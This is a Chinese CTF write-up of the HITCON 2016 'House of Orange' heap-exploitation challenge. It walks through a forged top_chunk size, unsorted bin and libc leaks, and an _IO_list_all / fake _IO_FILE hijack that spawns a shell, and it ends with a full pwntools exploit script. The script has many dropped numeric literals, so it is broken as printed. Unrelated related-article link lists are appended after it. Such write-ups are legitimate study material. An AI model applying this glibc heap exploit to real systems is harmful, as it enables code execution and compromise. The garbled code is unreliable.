House of Orange
题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500
查看程序保护:
发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:
这题的难点没有free函数,但是对溢出没有限制,且malloc的size我们可以自己控制,所以可以载top_chunk上做文章。
利用思路:
- 修改top_chunk的size小于要分配的size,这样old_top会被放入unsorted_bin中
- malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
- 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell
完整的exp我会放在最后,现在我们分步来看利用过程。
第一步:修改top_chunk的size,并将其放入unsorted bin中。
在ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:
- 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
- 申请的chunk大小大于128KB,利用mmap分配堆
为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:
/* Record incoming configuration of top */ old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size)); brk = snd_brk = (char *) (MORECORE_FAILURE); /*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/ //前半部分是针对第一次调用此函数,top_chunk没有初始化的情况
assert ((old_top == initial_top (av) && old_size == ) ||
((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - )) == )); //检查top_chunk结束的的地址是否页对齐 /* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
我们可以发现伪造的top_chunk的size要满足一下条件:
- size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
- size的inuse位要为1
- old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
- size要小于你要申请的chunk的大小
部分利用代码如下:
Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)
第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中
部分源码:
if (old_size != )
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE); /*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
chunk_at_offset (old_top, old_size)->size = ( * SIZE_SZ) | PREV_INUSE; chunk_at_offset (old_top, old_size + * SIZE_SZ)->size = ( * SIZE_SZ) | PREV_INUSE; /* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, );
}
}
可以看出最后会调用_int_free把old_top放入unsorted bin中
部分利用脚本:
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr))
第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell
这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow
先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。
在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:
if (((fp->_mode <= && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) ==
&& fp->_mode > && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真
绕过检查,上述条件,最终exp如下:
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./houseoforange')
elf = ELF('houseoforange')
libc = elf.libc def Build(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name :', name)
p.sendlineafter('Price of Orange:', str(price))
p.sendlineafter('Color of Orange:', str(color)) def See():
p.sendlineafter('Your choice : ', '') def Upgrade(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name:', name)
p.sendlineafter('Price of Orange: ', str(price))
p.sendlineafter('Color of Orange: ', str(color)) Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)
Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa)
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr)) _IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
info('-------------------------unsorted bin and build fake file-----------------') vtable = chunk_addr + 0x510
payload = '\x00'*0x400 + p64() + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64()
payload += '/bin/sh\x00' + p64(0x60) + p64() + p64(_IO_list_all-0x10) + '\x00'* + p64() + '\x00'*0xa8 + p64(vtable)
payload += '\x00'*0x18 + p64(system)
Upgrade(len(payload), payload, 0x1234, 0xddaa) p.sendlineafter('Your choice : ', '') p.interactive()
House of Orange的更多相关文章
- 利用Python【Orange】结合DNA序列进行人种预测
http://blog.csdn.net/jj12345jj198999/article/details/8951120 coursera上 web intelligence and big data ...
- orange pi pc 体验(一)
最近在淘宝上看到一款和树莓派差不多的卡片机,定价才99元,而且是国产的,忍不住入手了一个,就是orange pi 感兴趣的可以百度搜索下,深圳一个公司出的,不过资料比树莓派少了很多,论坛中人也没多少, ...
- 《Orange'S:一个操作系统的实现》笔记(一)
感觉自己对于操作系统始终没有一个清楚的概念,尤其最近困扰于实模式.保护模式以及寻址方式等一些概念.转而一想,所有的程序,最终都是操作的计算机资源,需要和操作系统打交道,所以操作系统有必要深入了解一下. ...
- python数据挖掘orange
http://blog.csdn.net/pipisorry/article/details/52845804 orange的安装 linux下的安装 先安装依赖pyqt4[PyQt教程 - pyth ...
- Orange Greenworks
对于steam游戏开发,成就功能是必不可少的. 而Rpgmaker系列无自带的插件或指令实现,且多数游戏作者并无熟练的脚本编写能力,所以~~ 我们要使用外部插件----Orange Work. 这里 ...
- Orange——开源机器学习交互式数据分析工具
Orange为新手和专家提供开源机器学习和数据可视化.使用大型工具箱交互式数据分析工作流程. 交互式数据可视化 Orange的全部内容都是关于数据可视化,帮助发现隐藏的数据模式,提供数据分析过程背后的 ...
- Orange Pi 3 GPIO 笔记
这是我写过的最水的文章 设备:Orange pi H6,Pi 3 引脚图: (使用Wiringpi 查看GPIO) +------+-----+----------+------+---+Orange ...
- 女子监狱第四季/全集Orange Is the New Black迅雷下载
女子监狱 第三季 Orange Is the New Black 3 (2015) 本季看点:该剧由<吉尔莫女孩>.<单身毒妈第一季>编剧杰姬·科恩的打造.由<护士当家& ...
- 女子监狱第一季/全集Orange Is the New Black迅雷下载
本季第一季 Orange Is the New Black 1 (2013) 看点:该剧描述主人公Piper Chapman(Taylor Schilling)在大学里结识了毒贩Alex(Laura ...
- java 泛型没有协变类型, 所以要重用extends, 但使用List<? extends Fruit> 可以是ArrayList<Fruit>()、ArrayList<Apple>()、ArrayList<Orange>(), 因此不能add元素进去
class Fruit{} class Apple extends Fruit{} class SubApple extends Apple{} class Orange extends Fruit{ ...
随机推荐
- Fixing the train-test resolution discrepancy
- P1616疯狂的采药 完全背包
题目背景 此题为纪念 LiYuxiang 而生. 题目描述 LiYuxiang 是个天资聪颖的孩子,他的梦想是成为世界上最伟大的医师.为此,他想拜附近最有威望的医师为师.医师为了判断他的资质,给他出了 ...
- Scss 定义内层class的简单写法
如果定义样式的时候,内层样式名称和外层保持一致的话可以简写如下 如果一个样式下有相关的其他样式可以使用 &-xxx 来简写, <template> <div class=&q ...
- 深度强化学习:Deep Q-Learning
在前两篇文章强化学习基础:基本概念和动态规划和强化学习基础:蒙特卡罗和时序差分中介绍的强化学习的三种经典方法(动态规划.蒙特卡罗以及时序差分)适用于有限的状态集合$\mathcal{S}$,以时序差分 ...
- HTML基础-05
字体 文本颜色:color:red;字体分类: 衬线字体serif --字体宽度各异,有衬线 --Times.Georgia.宋体 无衬线字体sans-serif --字体宽度各异,无衬线 --Hel ...
- Vue在v-for中给css传递一个数组参数
需求就是将很多个数据,以进度条的形式展示在页面上,形成一个可视化. 接下来是html代码 <!DOCTYPE html> <html> <head> <tit ...
- 题解 SGU294 He's Circles
题目描述 失踪人口回归 根据\(Polya\)定理$$ans=\frac 1n \sum\limits_{i=1}^n2^{gcd(i, n)}$$ 考虑枚举\(gcd\),原式变成$$\frac 1 ...
- NOIP真题索引
NOIP真题索引 NOIP2019 Day 1 格雷码 括号树 树上的数 Day 2 Emiya 家今天的饭 划分 树的重心 NOIP2018 Day 1 铺设道路 货币系统 赛道修建 Day 2 旅 ...
- J20航模遥控器开源项目系列教程(二)使用说明 | 遥控器制作完成了,怎么用?
我们的开源宗旨:自由 协调 开放 合作 共享 拥抱开源,丰富国内开源生态,开展多人运动,欢迎加入我们哈~ 和一群志同道合的人,做自己所热爱的事! 项目开源地址:https://github.com/C ...
- 详解Python中的__init__和__new__
转载:https://my.oschina.net/liuyuantao/blog/747164 1.__init__ 方法是什么? 使用Python写过面向对象的代码的同学,可能对 __init__ ...